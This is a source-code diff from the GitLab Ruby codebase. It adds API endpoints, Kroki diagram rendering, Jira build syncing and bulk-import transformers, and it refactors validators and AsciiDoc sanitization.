--- a/lib/api/project_repository_storage_moves.rb
+++ b/lib/api/project_repository_storage_moves.rb
@@ -34,6 +34,22 @@ module API
present storage_move, with: Entities::ProjectRepositoryStorageMove, current_user: current_user
end
+
+ desc 'Schedule bulk project repository storage moves' do
+ detail 'This feature was introduced in GitLab 13.7.'
+ end
+ params do
+ requires :source_storage_name, type: String, desc: 'The source storage shard', values: -> { Gitlab.config.repositories.storages.keys }
+ optional :destination_storage_name, type: String, desc: 'The destination storage shard', values: -> { Gitlab.config.repositories.storages.keys }
+ end
+ post do
+ ::Projects::ScheduleBulkRepositoryShardMovesService.enqueue(
+ declared_params[:source_storage_name],
+ declared_params[:destination_storage_name]
+ )
+
+ accepted!
+ end
end
params do
diff --git a/lib/api/pypi_packages.rb b/lib/api/pypi_packages.rb
index 7104fb8d999..658c6d13847 100644
--- a/lib/api/pypi_packages.rb
+++ b/lib/api/pypi_packages.rb
@@ -127,7 +127,7 @@ module API
track_package_event('push_package', :pypi)
::Packages::Pypi::CreatePackageService
- .new(authorized_user_project, current_user, declared_params)
+ .new(authorized_user_project, current_user, declared_params.merge(build: current_authenticated_job))
.execute
created!
diff --git a/lib/api/release/links.rb b/lib/api/release/links.rb
index d3a185a51c8..52c73104bb4 100644
--- a/lib/api/release/links.rb
+++ b/lib/api/release/links.rb
@@ -57,7 +57,7 @@ module API
end
params do
- requires :link_id, type: String, desc: 'The id of the link'
+ requires :link_id, type: String, desc: 'The ID of the link'
end
resource 'links/:link_id' do
desc 'Get a link detail of a release' do
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index b95856d99d1..b3f09b431b0 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -52,6 +52,7 @@ module API
optional :default_project_visibility, type: String, values: Gitlab::VisibilityLevel.string_values, desc: 'The default project visibility'
optional :default_projects_limit, type: Integer, desc: 'The maximum number of personal projects'
optional :default_snippet_visibility, type: String, values: Gitlab::VisibilityLevel.string_values, desc: 'The default snippet visibility'
+ optional :disable_feed_token, type: Boolean, desc: 'Disable display of RSS/Atom and Calendar `feed_tokens`'
optional :disabled_oauth_sign_in_sources, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Disable certain OAuth sign-in sources'
optional :domain_denylist_enabled, type: Boolean, desc: 'Enable domain denylist for sign ups'
optional :domain_denylist, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com'
@@ -102,6 +103,11 @@ module API
optional :performance_bar_allowed_group_id, type: String, desc: 'Deprecated: Use :performance_bar_allowed_group_path instead. Path of the group that is allowed to toggle the performance bar.' # support legacy names, can be removed in v6
optional :performance_bar_allowed_group_path, type: String, desc: 'Path of the group that is allowed to toggle the performance bar.'
optional :performance_bar_enabled, type: String, desc: 'Deprecated: Pass `performance_bar_allowed_group_path: nil` instead. Allow enabling the performance.' # support legacy names, can be removed in v6
+ optional :personal_access_token_prefix, type: String, desc: 'Prefix to prepend to all personal access tokens'
+ optional :kroki_enabled, type: Boolean, desc: 'Enable Kroki'
+ given kroki_enabled: ->(val) { val } do
+ requires :kroki_url, type: String, desc: 'The Kroki server URL'
+ end
optional :plantuml_enabled, type: Boolean, desc: 'Enable PlantUML'
given plantuml_enabled: ->(val) { val } do
requires :plantuml_url, type: String, desc: 'The PlantUML server URL'
diff --git a/lib/api/statistics.rb b/lib/api/statistics.rb
index 1814e1a6782..6818c04fd2e 100644
--- a/lib/api/statistics.rb
+++ b/lib/api/statistics.rb
@@ -4,7 +4,7 @@ module API
class Statistics < ::API::Base
before { authenticated_as_admin! }
- feature_category :instance_statistics
+ feature_category :devops_reports
COUNTED_ITEMS = [Project, User, Group, ForkNetworkMember, ForkNetwork, Issue,
MergeRequest, Note, Snippet, Key, Milestone].freeze
diff --git a/lib/api/usage_data.rb b/lib/api/usage_data.rb
index 7b038ec74bb..cad2f52e951 100644
--- a/lib/api/usage_data.rb
+++ b/lib/api/usage_data.rb
@@ -20,6 +20,18 @@ module API
requires :event, type: String, desc: 'The event name that should be tracked'
end
+ post 'increment_counter' do
+ event_name = params[:event]
+
+ increment_counter(event_name)
+
+ status :ok
+ end
+
+ params do
+ requires :event, type: String, desc: 'The event name that should be tracked'
+ end
+
post 'increment_unique_users' do
event_name = params[:event]
diff --git a/lib/api/users.rb b/lib/api/users.rb
index 501ed629c7e..8b9b82877f7 100644
--- a/lib/api/users.rb
+++ b/lib/api/users.rb
@@ -534,6 +534,24 @@ module API
user.activate
end
+
+ desc 'Approve a pending user. Available only for admins.'
+ params do
+ requires :id, type: Integer, desc: 'The ID of the user'
+ end
+ post ':id/approve', feature_category: :authentication_and_authorization do
+ user = User.find_by(id: params[:id])
+ not_found!('User') unless can?(current_user, :read_user, user)
+
+ result = ::Users::ApproveService.new(current_user).execute(user)
+
+ if result[:success]
+ result
+ else
+ render_api_error!(result[:message], result[:http_status])
+ end
+ end
+
# rubocop: enable CodeReuse/ActiveRecord
desc 'Deactivate an active user. Available only for admins.'
params do
diff --git a/lib/api/validations/validators/absence.rb b/lib/api/validations/validators/absence.rb
index 1f43f3ab126..7858ce7140b 100644
--- a/lib/api/validations/validators/absence.rb
+++ b/lib/api/validations/validators/absence.rb
@@ -7,7 +7,7 @@ module API
def validate_param!(attr_name, params)
return if params.respond_to?(:key?) && !params.key?(attr_name)
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)], message: message(:absence)
+ raise Grape::Exceptions::Validation.new(params: [@scope.full_name(attr_name)], message: message(:absence))
end
end
end
diff --git a/lib/api/validations/validators/array_none_any.rb b/lib/api/validations/validators/array_none_any.rb
index 7efb8e6ccee..3732c1f575c 100644
--- a/lib/api/validations/validators/array_none_any.rb
+++ b/lib/api/validations/validators/array_none_any.rb
@@ -10,8 +10,10 @@ module API
return if value.is_a?(Array) ||
[IssuableFinder::Params::FILTER_NONE, IssuableFinder::Params::FILTER_ANY].include?(value.to_s.downcase)
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)],
- message: "should be an array, 'None' or 'Any'"
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "should be an array, 'None' or 'Any'"
+ )
end
end
end
diff --git a/lib/api/validations/validators/check_assignees_count.rb b/lib/api/validations/validators/check_assignees_count.rb
index b614058e325..92ada159b46 100644
--- a/lib/api/validations/validators/check_assignees_count.rb
+++ b/lib/api/validations/validators/check_assignees_count.rb
@@ -18,9 +18,10 @@ module API
def validate_param!(attr_name, params)
return if param_allowed?(attr_name, params)
- raise Grape::Exceptions::Validation,
- params: [@scope.full_name(attr_name)],
- message: "allows one value, but found #{params[attr_name].size}: #{params[attr_name].join(", ")}"
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "allows one value, but found #{params[attr_name].size}: #{params[attr_name].join(", ")}"
+ )
end
private
diff --git a/lib/api/validations/validators/email_or_email_list.rb b/lib/api/validations/validators/email_or_email_list.rb
index b7f2a0cd443..da665f39130 100644
--- a/lib/api/validations/validators/email_or_email_list.rb
+++ b/lib/api/validations/validators/email_or_email_list.rb
@@ -11,9 +11,10 @@ module API
return if value.split(',').map { |v| ValidateEmail.valid?(v) }.all?
- raise Grape::Exceptions::Validation,
+ raise Grape::Exceptions::Validation.new(
params: [@scope.full_name(attr_name)],
message: "contains an invalid email address"
+ )
end
end
end
diff --git a/lib/api/validations/validators/file_path.rb b/lib/api/validations/validators/file_path.rb
index 8a815c3b2b8..a6a3c692fd6 100644
--- a/lib/api/validations/validators/file_path.rb
+++ b/lib/api/validations/validators/file_path.rb
@@ -11,8 +11,10 @@ module API
path = Gitlab::Utils.check_path_traversal!(path)
Gitlab::Utils.check_allowed_absolute_path!(path, path_allowlist)
rescue
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)],
- message: "should be a valid file path"
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "should be a valid file path"
+ )
end
end
end
diff --git a/lib/api/validations/validators/git_ref.rb b/lib/api/validations/validators/git_ref.rb
index 1dda9d758a7..dcb1db6ca33 100644
--- a/lib/api/validations/validators/git_ref.rb
+++ b/lib/api/validations/validators/git_ref.rb
@@ -17,8 +17,10 @@ module API
return unless invalid_character?(revision)
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)],
- message: 'should be a valid reference path'
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: 'should be a valid reference path'
+ )
end
private
diff --git a/lib/api/validations/validators/git_sha.rb b/lib/api/validations/validators/git_sha.rb
index 657307db1df..665d1878b4c 100644
--- a/lib/api/validations/validators/git_sha.rb
+++ b/lib/api/validations/validators/git_sha.rb
@@ -9,8 +9,10 @@ module API
return if Commit::EXACT_COMMIT_SHA_PATTERN.match?(sha)
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)],
- message: "should be a valid sha"
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "should be a valid sha"
+ )
end
end
end
diff --git a/lib/api/validations/validators/integer_none_any.rb b/lib/api/validations/validators/integer_none_any.rb
index aa8c137a6ab..32ab6e19b98 100644
--- a/lib/api/validations/validators/integer_none_any.rb
+++ b/lib/api/validations/validators/integer_none_any.rb
@@ -3,15 +3,11 @@
module API
module Validations
module Validators
- class IntegerNoneAny < Grape::Validations::Base
- def validate_param!(attr_name, params)
- value = params[attr_name]
+ class IntegerNoneAny < IntegerOrCustomValue
+ private
- return if value.is_a?(Integer) ||
- [IssuableFinder::Params::FILTER_NONE, IssuableFinder::Params::FILTER_ANY].include?(value.to_s.downcase)
-
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)],
- message: "should be an integer, 'None' or 'Any'"
+ def extract_custom_values(_options)
+ [IssuableFinder::Params::FILTER_NONE, IssuableFinder::Params::FILTER_ANY]
end
end
end
diff --git a/lib/api/validations/validators/integer_or_custom_value.rb b/lib/api/validations/validators/integer_or_custom_value.rb
new file mode 100644
index 00000000000..d2352495948
--- /dev/null
+++ b/lib/api/validations/validators/integer_or_custom_value.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module API
+ module Validations
+ module Validators
+ class IntegerOrCustomValue < Grape::Validations::Base
+ def initialize(attrs, options, required, scope, **opts)
+ @custom_values = extract_custom_values(options)
+ super
+ end
+
+ def validate_param!(attr_name, params)
+ value = params[attr_name]
+
+ return if value.is_a?(Integer)
+ return if @custom_values.map(&:downcase).include?(value.to_s.downcase)
+
+ valid_options = Gitlab::Utils.to_exclusive_sentence(['an integer'] + @custom_values)
+ raise Grape::Exceptions::Validation.new(
+ params: [@scope.full_name(attr_name)],
+ message: "should be #{valid_options}, however got #{value}"
+ )
+ end
+
+ private
+
+ def extract_custom_values(options)
+ options.is_a?(Hash) ? options[:values] : options
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/validations/validators/limit.rb b/lib/api/validations/validators/limit.rb
index 3bb4cee1d75..e8f894849a5 100644
--- a/lib/api/validations/validators/limit.rb
+++ b/lib/api/validations/validators/limit.rb
@@ -9,9 +9,10 @@ module API
return if value.size <= @option
- raise Grape::Exceptions::Validation,
+ raise Grape::Exceptions::Validation.new(
params: [@scope.full_name(attr_name)],
message: "#{@scope.full_name(attr_name)} must be less than #{@option} characters"
+ )
end
end
end
diff --git a/lib/api/validations/validators/untrusted_regexp.rb b/lib/api/validations/validators/untrusted_regexp.rb
index ec623684e67..3ddea2bd9de 100644
--- a/lib/api/validations/validators/untrusted_regexp.rb
+++ b/lib/api/validations/validators/untrusted_regexp.rb
@@ -11,7 +11,7 @@ module API
Gitlab::UntrustedRegexp.new(value)
rescue RegexpError => e
message = "is an invalid regexp: #{e.message}"
- raise Grape::Exceptions::Validation, params: [@scope.full_name(attr_name)], message: message
+ raise Grape::Exceptions::Validation.new(params: [@scope.full_name(attr_name)], message: message)
end
end
end
diff --git a/lib/atlassian/jira_connect/client.rb b/lib/atlassian/jira_connect/client.rb
index f81ed462174..da24d0e20ee 100644
--- a/lib/atlassian/jira_connect/client.rb
+++ b/lib/atlassian/jira_connect/client.rb
@@ -12,31 +12,68 @@ module Atlassian
@shared_secret = shared_secret
end
+ def send_info(project:, update_sequence_id: nil, **args)
+ common = { project: project, update_sequence_id: update_sequence_id }
+ dev_info = args.slice(:commits, :branches, :merge_requests)
+ build_info = args.slice(:pipelines)
+
+ responses = []
+
+ responses << store_dev_info(**common, **dev_info) if dev_info.present?
+ responses << store_build_info(**common, **build_info) if build_info.present?
+ raise ArgumentError, 'Invalid arguments' if responses.empty?
+
+ responses.compact
+ end
+
+ private
+
+ def store_build_info(project:, pipelines:, update_sequence_id: nil)
+ return unless Feature.enabled?(:jira_sync_builds, project)
+
+ builds = pipelines.map do |pipeline|
+ build = Serializers::BuildEntity.represent(
+ pipeline,
+ update_sequence_id: update_sequence_id
+ )
+ next if build.issue_keys.empty?
+
+ build
+ end.compact
+ return if builds.empty?
+
+ post('/rest/builds/0.1/bulk', { builds: builds })
+ end
+
def store_dev_info(project:, commits: nil, branches: nil, merge_requests: nil, update_sequence_id: nil)
- dev_info_json = {
- repositories: [
- Serializers::RepositoryEntity.represent(
- project,
- commits: commits,
- branches: branches,
- merge_requests: merge_requests,
- user_notes_count: user_notes_count(merge_requests),
- update_sequence_id: update_sequence_id
- )
- ]
- }.to_json
-
- uri = URI.join(@base_uri, '/rest/devinfo/0.10/bulk')
-
- headers = {
+ repo = Serializers::RepositoryEntity.represent(
+ project,
+ commits: commits,
+ branches: branches,
+ merge_requests: merge_requests,
+ user_notes_count: user_notes_count(merge_requests),
+ update_sequence_id: update_sequence_id
+ )
+
+ post('/rest/devinfo/0.10/bulk', { repositories: [repo] })
+ end
+
+ def post(path, payload)
+ uri = URI.join(@base_uri, path)
+
+ self.class.post(uri, headers: headers(uri), body: metadata.merge(payload).to_json)
+ end
+
+ def headers(uri)
+ {
'Authorization' => "JWT #{jwt_token('POST', uri)}",
'Content-Type' => 'application/json'
}
-
- self.class.post(uri, headers: headers, body: dev_info_json)
end
- private
+ def metadata
+ { providerMetadata: { product: "GitLab #{Gitlab::VERSION}" } }
+ end
def user_notes_count(merge_requests)
return unless merge_requests
diff --git a/lib/atlassian/jira_connect/serializers/base_entity.rb b/lib/atlassian/jira_connect/serializers/base_entity.rb
index 94deb174a45..640337c0399 100644
--- a/lib/atlassian/jira_connect/serializers/base_entity.rb
+++ b/lib/atlassian/jira_connect/serializers/base_entity.rb
@@ -11,6 +11,12 @@ module Atlassian
expose :update_sequence_id, as: :updateSequenceId
+ def eql(other)
+ other.is_a?(self.class) && to_json == other.to_json
+ end
+
+ alias_method :==, :eql
+
private
def update_sequence_id
diff --git a/lib/atlassian/jira_connect/serializers/build_entity.rb b/lib/atlassian/jira_connect/serializers/build_entity.rb
new file mode 100644
index 00000000000..3eb8b1f1978
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/build_entity.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ # A Jira 'build' represents what we call a 'pipeline'
+ class BuildEntity < Grape::Entity
+ include Gitlab::Routing
+
+ format_with(:iso8601, &:iso8601)
+
+ expose :schema_version, as: :schemaVersion
+ expose :pipeline_id, as: :pipelineId
+ expose :iid, as: :buildNumber
+ expose :update_sequence_id, as: :updateSequenceNumber
+ expose :source_ref, as: :displayName
+ expose :url
+ expose :state
+ expose :updated_at, as: :lastUpdated, format_with: :iso8601
+ expose :issue_keys, as: :issueKeys
+ expose :test_info, as: :testInfo
+ expose :references
+
+ def issue_keys
+ # extract Jira issue keys from either the source branch/ref or the
+ # merge request title.
+ @issue_keys ||= begin
+ src = "#{pipeline.source_ref} #{pipeline.merge_request&.title}"
+ JiraIssueKeyExtractor.new(src).issue_keys
+ end
+ end
+
+ private
+
+ alias_method :pipeline, :object
+ delegate :project, to: :object
+
+ def url
+ project_pipeline_url(project, pipeline)
+ end
+
+ # translate to Jira status
+ def state
+ case pipeline.status
+ when 'scheduled', 'created', 'pending', 'preparing', 'waiting_for_resource' then 'pending'
+ when 'running' then 'in_progress'
+ when 'success' then 'successful'
+ when 'failed' then 'failed'
+ when 'canceled', 'skipped' then 'cancelled'
+ else
+ 'unknown'
+ end
+ end
+
+ def pipeline_id
+ pipeline.ensure_ci_ref!
+
+ pipeline.ci_ref.id.to_s
+ end
+
+ def schema_version
+ '1.0'
+ end
+
+ def test_info
+ builds = pipeline.builds.pluck(:status) # rubocop: disable CodeReuse/ActiveRecord
+ n = builds.size
+ passed = builds.count { |s| s == 'success' }
+ failed = builds.count { |s| s == 'failed' }
+
+ {
+ totalNumber: n,
+ numberPassed: passed,
+ numberFailed: failed,
+ numberSkipped: n - (passed + failed)
+ }
+ end
+
+ def references
+ ref = pipeline.source_ref
+
+ [{
+ commit: { id: pipeline.sha, repositoryUri: project_url(project) },
+ ref: { name: ref, uri: project_commits_url(project, ref) }
+ }]
+ end
+
+ def update_sequence_id
+ options[:update_sequence_id] || Client.generate_update_sequence_id
+ end
+ end
+ end
+ end
+end
diff --git a/lib/backup/files.rb b/lib/backup/files.rb
index a0948f8c0f5..0f6ed847dea 100644
--- a/lib/backup/files.rb
+++ b/lib/backup/files.rb
@@ -26,9 +26,15 @@ module Backup
FileUtils.rm_f(backup_tarball)
if ENV['STRATEGY'] == 'copy'
- cmd = [%w[rsync -a], exclude_dirs(:rsync), %W[#{app_files_dir} #{Gitlab.config.backup.path}]].flatten
+ cmd = [%w[rsync -a --delete], exclude_dirs(:rsync), %W[#{app_files_dir} #{Gitlab.config.backup.path}]].flatten
output, status = Gitlab::Popen.popen(cmd)
+ # Retry if rsync source files vanish
+ if status == 24
+ $stdout.puts "Warning: files vanished during rsync, retrying..."
+ output, status = Gitlab::Popen.popen(cmd)
+ end
+
unless status == 0
puts output
raise Backup::Error, 'Backup failed'
diff --git a/lib/banzai/filter/ascii_doc_sanitization_filter.rb b/lib/banzai/filter/ascii_doc_sanitization_filter.rb
index a1a204ec652..11762c3bfb4 100644
--- a/lib/banzai/filter/ascii_doc_sanitization_filter.rb
+++ b/lib/banzai/filter/ascii_doc_sanitization_filter.rb
@@ -6,8 +6,8 @@ module Banzai
#
# Extends Banzai::Filter::BaseSanitizationFilter with specific rules.
class AsciiDocSanitizationFilter < Banzai::Filter::BaseSanitizationFilter
- # Section anchor link pattern
- SECTION_LINK_REF_PATTERN = /\A#{Gitlab::Asciidoc::DEFAULT_ADOC_ATTRS['idprefix']}(:?[[:alnum:]]|-|_)+\z/.freeze
+ # Anchor link prefixed by "user-content-" pattern
+ PREFIXED_ID_PATTERN = /\A#{Gitlab::Asciidoc::DEFAULT_ADOC_ATTRS['idprefix']}(:?[[:alnum:]]|-|_)+\z/.freeze
SECTION_HEADINGS = %w(h2 h3 h4 h5 h6).freeze
# Footnote link patterns
@@ -54,43 +54,34 @@ module Banzai
whitelist[:attributes]['table'] = %w(class)
whitelist[:transformers].push(self.class.remove_element_classes)
+ # Allow `id` in anchor and footnote elements
+ whitelist[:attributes]['a'].push('id')
+ whitelist[:attributes]['div'].push('id')
+
# Allow `id` in heading elements for section anchors
SECTION_HEADINGS.each do |header|
whitelist[:attributes][header] = %w(id)
end
- whitelist[:transformers].push(self.class.remove_non_heading_ids)
- # Allow `id` in footnote elements
- FOOTNOTE_LINK_ID_PATTERNS.keys.each do |element|
- whitelist[:attributes][element.to_s].push('id')
- end
- whitelist[:transformers].push(self.class.remove_non_footnote_ids)
+ # Remove ids that are not explicitly allowed
+ whitelist[:transformers].push(self.class.remove_disallowed_ids)
whitelist
end
class << self
- def remove_non_footnote_ids
+ def remove_disallowed_ids
lambda do |env|
node = env[:node]
- return unless (pattern = FOOTNOTE_LINK_ID_PATTERNS[node.name.to_sym])
+ return unless node.name == 'a' || node.name == 'div' || SECTION_HEADINGS.any?(node.name)
return unless node.has_attribute?('id')
- return if node['id'] =~ pattern
-
- node.remove_attribute('id')
- end
- end
-
- def remove_non_heading_ids
- lambda do |env|
- node = env[:node]
-
- return unless SECTION_HEADINGS.any?(node.name)
- return unless node.has_attribute?('id')
+ return if node['id'] =~ PREFIXED_ID_PATTERN
- return if node['id'] =~ SECTION_LINK_REF_PATTERN
+ if (pattern = FOOTNOTE_LINK_ID_PATTERNS[node.name.to_sym])
+ return if node['id'] =~ pattern
+ end
node.remove_attribute('id')
end
diff --git a/lib/banzai/filter/base_sanitization_filter.rb b/lib/banzai/filter/base_sanitization_filter.rb
index fc3791e0cbf..4f9e8cffd11 100644
--- a/lib/banzai/filter/base_sanitization_filter.rb
+++ b/lib/banzai/filter/base_sanitization_filter.rb
@@ -25,7 +25,7 @@ module Banzai
# Allow data-math-style attribute in order to support LaTeX formatting
whitelist[:attributes]['code'] = %w(data-math-style)
- whitelist[:attributes]['pre'] = %w(data-math-style data-mermaid-style)
+ whitelist[:attributes]['pre'] = %w(data-math-style data-mermaid-style data-kroki-style)
# Allow html5 details/summary elements
whitelist[:elements].push('details')
diff --git a/lib/banzai/filter/kroki_filter.rb b/lib/banzai/filter/kroki_filter.rb
new file mode 100644
index 00000000000..dbd4de32a47
--- /dev/null
+++ b/lib/banzai/filter/kroki_filter.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "nokogiri"
+require "asciidoctor/extensions/asciidoctor_kroki/extension"
+
+module Banzai
+ module Filter
+ # HTML that replaces all diagrams supported by Kroki with the corresponding img tags.
+ #
+ class KrokiFilter < HTML::Pipeline::Filter
+ def call
+ return doc unless settings.kroki_enabled
+
+ diagram_selectors = ::Gitlab::Kroki.formats(settings)
+ .map { |diagram_type| %(pre[lang="#{diagram_type}"] > code) }
+ .join(', ')
+
+ return doc unless doc.at(diagram_selectors)
+
+ diagram_format = "svg"
+ doc.css(diagram_selectors).each do |node|
+ diagram_type = node.parent['lang']
+ img_tag = Nokogiri::HTML::DocumentFragment.parse(%(<img src="#{create_image_src(diagram_type, diagram_format, node.content)}"/>))
+ node.parent.replace(img_tag)
+ end
+
+ doc
+ end
+
+ private
+
+ def create_image_src(type, format, text)
+ ::AsciidoctorExtensions::KrokiDiagram.new(type, format, text)
+ .get_diagram_uri(settings.kroki_url)
+ end
+
+ def settings
+ Gitlab::CurrentSettings.current_application_settings
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/merge_request_reference_filter.rb b/lib/banzai/filter/merge_request_reference_filter.rb
index f05902078dc..0b8bd17a71b 100644
--- a/lib/banzai/filter/merge_request_reference_filter.rb
+++ b/lib/banzai/filter/merge_request_reference_filter.rb
@@ -59,7 +59,7 @@ module Banzai
super(object_sym, tooltip: false)
end
- def data_attributes_for(text, parent, object, data = {})
+ def data_attributes_for(text, parent, object, **data)
super.merge(project_path: parent.full_path, iid: object.iid, mr_title: object.title)
end
diff --git a/lib/banzai/filter/syntax_highlight_filter.rb b/lib/banzai/filter/syntax_highlight_filter.rb
index 6dc0cce6050..1d3bbe43344 100644
--- a/lib/banzai/filter/syntax_highlight_filter.rb
+++ b/lib/banzai/filter/syntax_highlight_filter.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
require 'rouge/plugins/common_mark'
+require "asciidoctor/extensions/asciidoctor_kroki/extension"
# Generated HTML is transformed back to GFM by app/assets/javascripts/behaviors/markdown/nodes/code_block.js
module Banzai
@@ -14,7 +15,7 @@ module Banzai
LANG_PARAMS_ATTR = 'data-lang-params'
def call
- doc.search('pre:not([data-math-style]):not([data-mermaid-style]) > code').each do |node|
+ doc.search('pre:not([data-math-style]):not([data-mermaid-style]):not([data-kroki-style]) > code').each do |node|
highlight_node(node)
end
@@ -86,7 +87,7 @@ module Banzai
end
def use_rouge?(language)
- %w(math mermaid plantuml suggestion).exclude?(language)
+ (%w(math suggestion) + ::AsciidoctorExtensions::Kroki::SUPPORTED_DIAGRAM_NAMES).exclude?(language)
end
end
end
diff --git a/lib/banzai/pipeline/gfm_pipeline.rb b/lib/banzai/pipeline/gfm_pipeline.rb
index 7057ac9d707..344afc9b33c 100644
--- a/lib/banzai/pipeline/gfm_pipeline.rb
+++ b/lib/banzai/pipeline/gfm_pipeline.rb
@@ -19,6 +19,7 @@ module Banzai
Filter::SyntaxHighlightFilter,
Filter::MathFilter,
Filter::ColorFilter,
+ Filter::KrokiFilter,
Filter::MermaidFilter,
Filter::VideoLinkFilter,
Filter::AudioLinkFilter,
diff --git a/lib/bulk_imports/common/extractors/graphql_extractor.rb b/lib/bulk_imports/common/extractors/graphql_extractor.rb
index 7d58032cfcc..c0cef61d2b2 100644
--- a/lib/bulk_imports/common/extractors/graphql_extractor.rb
+++ b/lib/bulk_imports/common/extractors/graphql_extractor.rb
@@ -6,15 +6,16 @@ module BulkImports
class GraphqlExtractor
def initialize(query)
@query = query[:query]
- @query_string = @query.to_s
- @variables = @query.variables
end
def extract(context)
- @context = context
+ client = graphql_client(context)
Enumerator.new do |yielder|
- result = graphql_client.execute(parsed_query, query_variables(context.entity))
+ result = client.execute(
+ client.parse(query.to_s),
+ query.variables(context.entity)
+ )
yielder << result.original_hash.deep_dup
end
@@ -22,23 +23,17 @@ module BulkImports
private
- def graphql_client
+ attr_reader :query
+
+ def graphql_client(context)
@graphql_client ||= BulkImports::Clients::Graphql.new(
- url: @context.configuration.url,
- token: @context.configuration.access_token
+ url: context.configuration.url,
+ token: context.configuration.access_token
)
end
def parsed_query
- @parsed_query ||= graphql_client.parse(@query.to_s)
- end
-
- def query_variables(entity)
- return unless @variables
-
- @variables.transform_values do |entity_attribute|
- entity.public_send(entity_attribute) # rubocop:disable GitlabSecurity/PublicSend
- end
+ @parsed_query ||= graphql_client.parse(query.to_s)
end
end
end
diff --git a/lib/bulk_imports/common/transformers/graphql_cleaner_transformer.rb b/lib/bulk_imports/common/transformers/graphql_cleaner_transformer.rb
deleted file mode 100644
index dce0fac6999..00000000000
--- a/lib/bulk_imports/common/transformers/graphql_cleaner_transformer.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-# Cleanup GraphQL original response hash from unnecessary nesting
-# 1. Remove ['data']['group'] or ['data']['project'] hash nesting
-# 2. Remove ['edges'] & ['nodes'] array wrappings
-# 3. Remove ['node'] hash wrapping
-#
-# @example
-# data = {"data"=>{"group"=> {
-# "name"=>"test",
-# "fullName"=>"test",
-# "description"=>"test",
-# "labels"=>{"edges"=>[{"node"=>{"title"=>"label1"}}, {"node"=>{"title"=>"label2"}}, {"node"=>{"title"=>"label3"}}]}}}}
-#
-# BulkImports::Common::Transformers::GraphqlCleanerTransformer.new.transform(nil, data)
-#
-# {"name"=>"test", "fullName"=>"test", "description"=>"test", "labels"=>[{"title"=>"label1"}, {"title"=>"label2"}, {"title"=>"label3"}]}
-module BulkImports
- module Common
- module Transformers
- class GraphqlCleanerTransformer
- EDGES = 'edges'
- NODE = 'node'
-
- def initialize(options = {})
- @options = options
- end
-
- def transform(_, data)
- return data unless data.is_a?(Hash)
-
- data = data.dig('data', 'group') || data.dig('data', 'project') || data
-
- clean_edges_and_nodes(data)
- end
-
- def clean_edges_and_nodes(data)
- case data
- when Array
- data.map(&method(:clean_edges_and_nodes))
- when Hash
- if data.key?(NODE)
- clean_edges_and_nodes(data[NODE])
- else
- data.transform_values { |value| clean_edges_and_nodes(value.try(:fetch, EDGES, value) || value) }
- end
- else
- data
- end
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/common/transformers/hash_key_digger.rb b/lib/bulk_imports/common/transformers/hash_key_digger.rb
new file mode 100644
index 00000000000..b4897b5b2bf
--- /dev/null
+++ b/lib/bulk_imports/common/transformers/hash_key_digger.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Transformers
+ class HashKeyDigger
+ def initialize(options = {})
+ @key_path = options[:key_path]
+ end
+
+ def transform(_, data)
+ raise ArgumentError, "Given data must be a Hash" unless data.is_a?(Hash)
+
+ data.dig(*Array.wrap(key_path))
+ end
+
+ private
+
+ attr_reader :key_path
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/common/transformers/prohibited_attributes_transformer.rb b/lib/bulk_imports/common/transformers/prohibited_attributes_transformer.rb
new file mode 100644
index 00000000000..858c4c8976b
--- /dev/null
+++ b/lib/bulk_imports/common/transformers/prohibited_attributes_transformer.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Transformers
+ class ProhibitedAttributesTransformer
+ PROHIBITED_REFERENCES = Regexp.union(
+ /\Acached_markdown_version\Z/,
+ /\Aid\Z/,
+ /_id\Z/,
+ /_ids\Z/,
+ /_html\Z/,
+ /attributes/,
+ /\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
+ ).freeze
+
+ def initialize(options = {})
+ @options = options
+ end
+
+ def transform(context, data)
+ data.each_with_object({}) do |(key, value), result|
+ prohibited = prohibited_key?(key)
+
+ unless prohibited
+ result[key] = value.is_a?(Hash) ? transform(context, value) : value
+ end
+ end
+ end
+
+ private
+
+ def prohibited_key?(key)
+ key.to_s =~ PROHIBITED_REFERENCES
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/graphql/get_group_query.rb b/lib/bulk_imports/groups/graphql/get_group_query.rb
index c50b99aae4e..2bc0f60baa2 100644
--- a/lib/bulk_imports/groups/graphql/get_group_query.rb
+++ b/lib/bulk_imports/groups/graphql/get_group_query.rb
@@ -29,8 +29,8 @@ module BulkImports
GRAPHQL
end
- def variables
- { full_path: :source_full_path }
+ def variables(entity)
+ { full_path: entity.source_full_path }
end
end
